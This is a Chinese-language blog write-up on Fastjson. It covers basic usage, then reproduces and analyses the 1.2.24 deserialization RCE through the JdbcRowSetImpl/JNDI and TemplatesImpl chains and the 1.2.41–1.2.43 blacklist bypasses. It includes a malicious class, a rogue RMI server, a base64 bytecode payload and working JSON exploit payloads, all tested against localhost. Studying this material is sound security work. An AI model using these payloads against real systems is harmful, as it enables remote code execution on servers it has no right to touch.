0x00 初识Fastjson
0x00 Fastjson
Fastjson
是Alibaba开发的Java语言编写的高性能JSON
库,它可以解析JSON
格式的字符串,支持将Java Bean
序列化为JSON
字符串,也可以从JSON
字符串反序列化到JavaBean
。
项目地址:https://github.com/alibaba/fastjson。
可通过在pom.xml
中添加依赖来获取。
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>
先简单学习一下Fastjson
。
0x01 Java 对象转化为 Json 对象
首先定义一个类,拥有age
、name
两个属性,然后写上JSONField
注解可以指定字段的名称以及其他功能,如果不想让某个属性进行序列化,可以在JSONField
注解中使用serialize/deserialize
使指定字段不序列化/反序列化。
package com.example;
import com.alibaba.fastjson.annotation.JSONField;
public class Person {
@JSONField(name = "AGE")
private int age;
@JSONField(name = "NAME")
private String name;
public Person(int age, String name) {
super();
this.age = age;
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
写好Person
类后,我们使用JSON.toJSONString
来将我们实例化好的一个对象来序列化为JSON
对象,这里会调用作用域为private
的属性的getter
方法来获取它的值。添加SerializerFeature.WriteClassName
属性可以在序列化后的Json
对象中加上一个@type
字段,写上被序列化的对象的类名,可以指定反序列化的类,。SerializerFeature.PrettyFormat
属性可以美化一下输出。
public static void main(String[] args) {
Person student = new Person(21, "So4ms");
System.out.println(JSON.toJSONString(student, SerializerFeature.WriteClassName, SerializerFeature.PrettyFormat));
}
序列化的结果如下:
{
"@type":"com.example.Person",
"AGE":21,
"NAME":"So4ms"
}
0x02 Json 对象转化为 Java 对象
当我们调用JSON.parseObject
来反序列化我们上面获得的Json
字符串时,会发现报错了。
public static void main(String[] args) {
String jsonObject = "{\"@type\":\"com.example.Person\",\"AGE\":21,\"NAME\":\"So4ms\"}\n";
Person newPerson = JSON.parseObject(jsonObject, Person.class);
System.out.println(newPerson);
}
报错提示default constructor not found. class com.example.Person
,原来缺少一个无参的构造方法,加上即可。得到输出:Person{age=0, name='So4ms'}
。
这里我们在JSON.parseObject
中指定了类为Person.class
,所以只会调用private
属性的setter
方法来设置属性值。
如果我们不进行指定,就会调用private
属性的setter
方法以及所有属性的getter
方法,当然,如果类的属性时public
,他的getter
方法也可以没有。然后会返回一个JSONObject
对象,而不是像上面一样返回了指定的对象。
而当我们使用JSON.parse
来进行反序列化时,只会调用private
属性的setter
方法。
0x03 创建 JSON 对象
只需使用JSONObject
(fastJson
提供的json
对象) 和JSONArray
(fastJson
提供json
数组对象) 对象即可。
public static void main(String[] args) {
JSONArray jsonArray = new JSONArray();
for (int i = 0; i < 2; i++) {
JSONObject jsonObject = new JSONObject();
jsonObject.put("AGE", 10);
jsonObject.put("NAME", "NO." + i);
jsonArray.add(jsonObject);
}
String jsonOutput = jsonArray.toJSONString();
System.out.println(jsonOutput);
}
运行如上代码就可以得到一个json
数组,包含了两个json
对象,输出结果如下:
[
{
"AGE": 10,
"NAME": "NO.0"
}, {
"AGE": 10,
"NAME": "NO.1"
}
]
0x01 Fastjson 1.2.24 反序列化任意命令执行漏洞
0x00 准备
- 影响范围:Fastjson <= 1.2.24
- 复现环境:jdk8u71.Fastjson 1.2.23.
0x01 漏洞复现
JdbcRowSetImpl链
漏洞复现
编写如下恶意类,使用javac
编译得到Malice.class
。
package com.example;
import java.lang.Runtime;
import java.lang.Process;
public class Malice {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception ignored) {
}
}
}
使用python
起一个http服务器,在网站根目录的/com/example
下放入我们上面编译好的Malice.class
文件。
编写恶意的rmi
服务器代码,Reference
的构造方法的三个参数分别为:
- className - 远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载,这里为
Malice
- classFactory - 远程的工厂类,这里为
com.example.Malice
- classFactoryLocation - 工厂类加载的地址,可以是file://、ftp://、http:// 等协议,这里就写上我们启动的http服务器的url。
package com.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Malice",
"com.example.Malice", "http://127.0.0.1/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Malice", referenceWrapper);
}
}
然后编写受害者的代码。
import com.alibaba.fastjson.JSON;
public class JNDIClient {
public static void main(String[] argv) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Malice\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
要注意编译class的jdk版本与受害者的jdk版本是否一致。运行服务端代码,运行受害者代码,成功弹出计算器,利用成功。
漏洞分析
本次漏洞利用的payload为:{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Malice", "autoCommit":true}
,注意到了这里反序列化之后得到的类是com.sun.rowset.JdbcRowSetImpl
,在之前的Fastjson
基础学习中可以知道,在进行反序列化时,使用JSON.parse
来进行解析,只会调用private
属性的setter
方法,所以可以关注一下这个出现问题的类的setter
方法。
如果我们设置得有autoCommit
字段,那么就会调用setAutoCommit
方法,当然设置的值true
或者false
都无所谓。调用setAutoCommit
后,this.conn
默认为空,就会进入this.connect()
。
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
在connect()
中,可以发现存在一个调用var1.lookup(this.getDataSourceName())
,而var1
为InitialContext
,this.getDataSourceName()
的返回值就是dataSourceName
字段的值,为我们所控,所以会造成JNDI
注入。
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
TemplatesImpl链
漏洞复现
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类,相信大家也比较熟悉了,在cc3的利用链中也用到过这个类,用来动态执行字节码。
构造特定的字节码:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class So4ms extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public So4ms() throws Exception {
Runtime.getRuntime().exec("calc");
}
}
payload为:
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAHTFNvNG1zOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAlAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHACYBAApTb3VyY2VGaWxlAQAKU280bXMuamF2YQwAGQAaBwAnDAAoACkBAARjYWxjDAAqACsBAAVTbzRtcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAADAALAAAAIAADAAAAAQAMAA0AAAAAAAEADgAPAAEAAAABABAAEQACABIAAAAEAAEAEwABAAcAFAACAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAEQALAAAAKgAEAAAAAQAMAA0AAAAAAAEADgAPAAEAAAABABUAFgACAAAAAQAXABgAAwASAAAABAABABMAAQAZABoAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAATAAQAFAANABUACwAAAAwAAQAAAA4ADAANAAAAEgAAAAQAAQAbAAEAHAAAAAIAHQ==\"]," +
"\"_name\":\"So4ms\"," +
"\"_tfactory\":{ }," +
"\"_outputProperties\":{ }}";
在进行解析的时候,要设置第二个参数Feature.SupportNonPublicField
。
JSON.parse(payload, Feature.SupportNonPublicField);
漏洞分析
这里我们来看一下参数Feature.SupportNonPublicField
起到了什么作用。
在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField
设置属性时会有判断:
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,
Map<String, Object> fieldValues) {
JSONLexer lexer = parser.lexer; // xxx
FieldDeserializer fieldDeserializer = smartMatch(key);
final int mask = Feature.SupportNonPublicField.mask;
if (fieldDeserializer == null
&& (parser.lexer.isEnabled(mask)
|| (this.beanInfo.parserFeatures & mask) != 0)) {
......
}
......
}
这里的Feature.SupportNonPublicField.mask
值为131072
,当我们设置了Feature.SupportNonPublicField
时,parser.lexer.features
的值为132061
,返回值为true
,而不设置时,parser.lexer.features
的值为989
,返回值为false
。所以当我们设置了Feature.SupportNonPublicField
时就会进入这个if
当中。
public final boolean isEnabled(int feature) {
return (this.features & feature) != 0;
}
接下来会遍历要解析的这个类的所有属性,然后通过field.getModifiers()
得到这个属性的修饰符,什么都不加是0 , public
是1 ,private
是 2 ,protected
是 4,static
是 8 ,final
是 16,然后将没有FINAL
以及没有STATIC
的属性加入extraFieldDeserializers
。
if (this.extraFieldDeserializers == null) {
ConcurrentHashMap extraFieldDeserializers =
new ConcurrentHashMap<String, Object>(1, 0.75f, 1);
Field[] fields = this.clazz.getDeclaredFields();
for (Field field : fields) {
String fieldName = field.getName();
if (this.getFieldDeserializer(fieldName) != null) {
continue;
}
int fieldModifiers = field.getModifiers();
if ((fieldModifiers & Modifier.FINAL) != 0 || (fieldModifiers & Modifier.STATIC) != 0) {
continue;
}
extraFieldDeserializers.put(fieldName, field);
}
this.extraFieldDeserializers = extraFieldDeserializers;
}
然后又在com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField
进入setValue(object, value)
,调用了Method method = fieldInfo.method
,就进入了getOutputProperties()
。
而这个getOutputProperties()
就是在com.alibaba.fastjson.util.JavaBeanInfo#build
处获取,将getOutputProperties
方法作为_outputProperties
的构造方法加入了fieldList
。
if (methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))) {
if (method.getParameterTypes().length != 0) {
continue;
}
if (Collection.class.isAssignableFrom(method.getReturnType()) //
|| Map.class.isAssignableFrom(method.getReturnType()) //
|| AtomicBoolean.class == method.getReturnType() //
|| AtomicInteger.class == method.getReturnType() //
|| AtomicLong.class == method.getReturnType() //
) {
String propertyName;
JSONField annotation = method.getAnnotation(JSONField.class);
if (annotation != null && annotation.deserialize()) {
continue;
}
if (annotation != null && annotation.name().length() > 0) {
propertyName = annotation.name();
} else {
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
}
FieldInfo fieldInfo = getField(fieldList, propertyName);
if (fieldInfo != null) {
continue;
}
if (propertyNamingStrategy != null) {
propertyName = propertyNamingStrategy.translate(propertyName);
}
add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, 0, 0, 0, annotation, null, null));
}
}
最后进入getOutputProperties()
,会调用newTransformer()
,而这正好是cc3中TemplatesImpl
利用链的起始部分。关于这之后的更多细节在cc3中写过了这里就不再赘述了。
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
TemplatesImpl#newTransformer()
->
TemplatesImpl#getTransletInstance()
->
TemplatesImpl#defineTransletClasses()
->
TransletClassLoader#defineClass()
0X02 为什么会出现这个漏洞
主要原因是因为没有对属性@type
进行过滤,一些危险的类也会进行反序列化,就容易导致漏洞的产生,我们从JSON.parse(payload)
开始调试看一下反序列化的流程是怎样的。进入parse
调用了parse(String text, int features)
,然后调用DefaultJSONParser.parse()
,跟进this.parse((Object)null)
,这里会对lexer.token()
的值进行一个判断,switch(lexer.token())
。
而在之前的DefaultJSONParser
构造方法中,会对我们传入数据的字符进行判断,我们这里传入的首字符是{
,lexer.token()
的值自然就是12了。
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}
创建了一个空的JSONObject
对象,然后调用this.parseObject((Map)object, fieldName)
。
case 12:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);
进入this.parseObject
后再次对lexer.token()
进行了一个判断,此时的lexer.token()
还是12,进入else
,之后进入一个while
循环开始进行解析。
- 判断下一个标志位是否为
"
,如果是"
则提取key值,这时的标志位为"
。- 判断下一个标志位是否为
:
:
- 如果为
:
则判断下一个标志位是否为"
,如果是,则获取value值,这时的标志位为"
。- 如果为
{
则重复1、2的过程。- 判断下一个标志位是否为
}
:
- 如果为
}
则表示这一个单元的解析结束- 如果为
,
则表示要解析下一个kv的数据,重复1、2、3
这里调用lexer.scanSymbol(this.symbolTable, '"')
得到了key值为@type
。
if (ch == '"') {
key = lexer.scanSymbol(this.symbolTable, '"');
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
}
}
然后在下面,进入了一个if
判断,JSON.DEFAULT_TYPE_KEY
的值也就是@type
,进入TypeUtils.loadClass
加载Class
。
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)){
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader())
......
}
然后下面就会进入ObjectDeserializer deserializer = this.config.getDeserializer(clazz)
。获得一个ObjectDeserializer
对象,然后进入this.getDeserializer
。
public ObjectDeserializer getDeserializer(Type type) {
ObjectDeserializer derializer = (ObjectDeserializer)this.derializers.get(type);
if (derializer != null) {
return derializer;
} else if (type instanceof Class) {
return this.getDeserializer((Class)type, type);
} else if (type instanceof ParameterizedType) {
Type rawType = ((ParameterizedType)type).getRawType();
return rawType instanceof Class ? this.getDeserializer((Class)rawType, type) : this.getDeserializer(rawType);
} else {
return JavaObjectDeserializer.instance;
}
}
这里存在一个黑名单判断,而这个黑名单初始化为this.denyList = new String[]{"java.lang.Thread"}
,显然是形同虚设,就导致了漏洞的产生。
for(int i = 0; i < this.denyList.length; ++i) {
String deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("parser deny : " + className);
}
}
0x03 补丁
我们切换一下版本到1.2.25
,然后再次运行一下我们的payload。结果报错autoType is not support. com.sun.rowset.JdbcRowSetImpl
。来看一下报错的地方在com.alibaba.fastjson.parser.ParserConfig.checkAutoType
。
将原来的TypeUtils.loadClass
加载Class
改为了config.checkAutoType(typeName, null)
,进行了一个黑名单过滤,而黑名单也更新为了:"bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework"
,就对上述漏洞进行了修补。
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
0x02 Fastjson 1.2.41 反序列化补丁绕过
0x00 准备
- 影响范围: Fastjson <= 1.2.41
- 复现环境:jdk8u71.Fastjson 1.2.41
0x01 补丁分析
在前面可以得知在com.alibaba.fastjson.parser.ParserConfig.checkAutoType
中,将原来的TypeUtils.loadClass
加载Class
改为了config.checkAutoType(typeName, null)
,进行了一个黑名单过滤,所有名称以黑名单中内容开头的类都会被拦截。
如果是一个不在黑名单中的类,继续往下走,就会调用原来的TypeUtils.loadClass
。
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
进入之后,可以看到存在以下判断,判断传入类名的首字符是否为[
,或者是否以L
开头,以;
结尾。
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
这在Java中叫JNI(JavaNative Interface FieldDescriptors)
字段描述符。
比如说一个int
数组int[]
就表示为[I
,而二维数组int[][]
就表示为[[I
。
接着比如说一个String
类,就表示为Ljava.lang.String;
,以L
开头,以;
结尾。
于是绕过的思路就有了,在前面的黑名单判断中,仅仅只是以startsWith
进行了判断,如果我们以JNI
字段描述符来进行输入,就可以对黑名单进行绕过,而且在TypeUtils.loadClass
中还会将其去除,不影响之后的流程。
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
0x02 payload
需要使用ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
手动开启autoType
。
在之前的基础上修改一下@type
,添加一个L
和;
就行了
String payload = "{\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\"," +
"\"_bytecodes\":[\"......\"]," +
"\"_name\":\"So4ms\"," +
"\"_tfactory\":{ }," +
"\"_outputProperties\":{ }}";
JSON.parse(payload, Feature.SupportNonPublicField);
0x03 Fastjson 1.2.42 反序列化补丁绕过
0x00 准备
- 影响范围:Fastjson <= 1.2.42
- 复现环境:jdk8u71.Fastjson 1.2.42
0x01 补丁分析
这次还是在com.alibaba.fastjson.parser.ParserConfig#checkAutoType
中,添加了如下代码,如果className
是以L
开头,;
结尾的话这个if
判断的内容就会返回true
,然后className
就会去除首尾的L
和;
再进行下面的黑名单检查。
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
className = className.substring(1, className.length() - 1);
}
在黑名单检查中,也不再像之前一样是存放的明文,而是使用的hash
比较。虽然没多大用。
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
这次的修补,仅仅只是判断去除了一次L
和;
,典型的双写绕过即可。
0x02 payload
需要使用ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
手动开启autoType
。
在之前的基础上修改一下@type
,再添加一个L
和;
就行了
String payload = "{\"@type\":\"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;\"," +
"\"_bytecodes\":[\"......\"]," +
"\"_name\":\"So4ms\"," +
"\"_tfactory\":{ }," +
"\"_outputProperties\":{ }}";
JSON.parse(payload, Feature.SupportNonPublicField);
0x04 Fastjson 1.2.43 反序列化补丁绕过
0x00 准备
- 影响范围:Fastjson <= 1.2.43
- 复现环境:jdk8u71.Fastjson 1.2.43
0x01 补丁分析
这次加了一层判断,有一个L
和;
的会将其去掉继续下面的流程,有两个的就会直接抛出异常终止流程。
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L)
{
throw new JSONException("autoType is not support. " + typeName);
}
// 9195c07b5af5345
className = className.substring(1, className.length() - 1);
}
那么利用L
和;
来绕过就基本修复了。但是在TypeUtils.loadClass
中的两个判断,还有一个对数组的判断,利用[
来绕过。
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
那么我们尝试一下修改@type
为[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,添加一个中括号,但是很遗憾报错exepct '[', but error, pos 71,
。
提示在71的位置应该是[
,也就是第一个逗号,那么在逗号之前加上[
。
"{\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[," +
"\"_bytecodes\":[\"......\"]," +
"\"_name\":\"So4ms\"," +
"\"_tfactory\":{ }," +
"\"_outputProperties\":{ }}"
又提示syntax error, expect {, actual string, pos 72
,72的位置应该为{
,改一下。运行成功!
"{\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[{," +
"\"_bytecodes\":[\"......\"]," +
"\"_name\":\"So4ms\"," +
"\"_tfactory\":{ }," +
"\"_outputProperties\":{ }}"
看一下之前报错的位置com.alibaba.fastjson.parser.DefaultJSONParser#parseArray
,通过获取下一个字符来判断,,
对应的token就是16,[
对应的token是14,也就是JSONToken.LBRACKET
。后面的{
也同理,就不继续分析了。
int token = lexer.token();
if (token == JSONToken.SET || token == JSONToken.TREE_SET) {
lexer.nextToken();
token = lexer.token();
}
if (token != JSONToken.LBRACKET) {
throw new JSONException("exepct '[', but " + JSONToken.name(token) + ", " + lexer.info());
}
0x02 payload
需要使用ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
手动开启autoType
。
String payload = "{\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[{," +
"\"_bytecodes\":[\"......\"]," +
"\"_name\":\"So4ms\"," +
"\"_tfactory\":{ }," +
"\"_outputProperties\":{ }}";
JSON.parse(payload, Feature.SupportNonPublicField);
Comments | NOTHING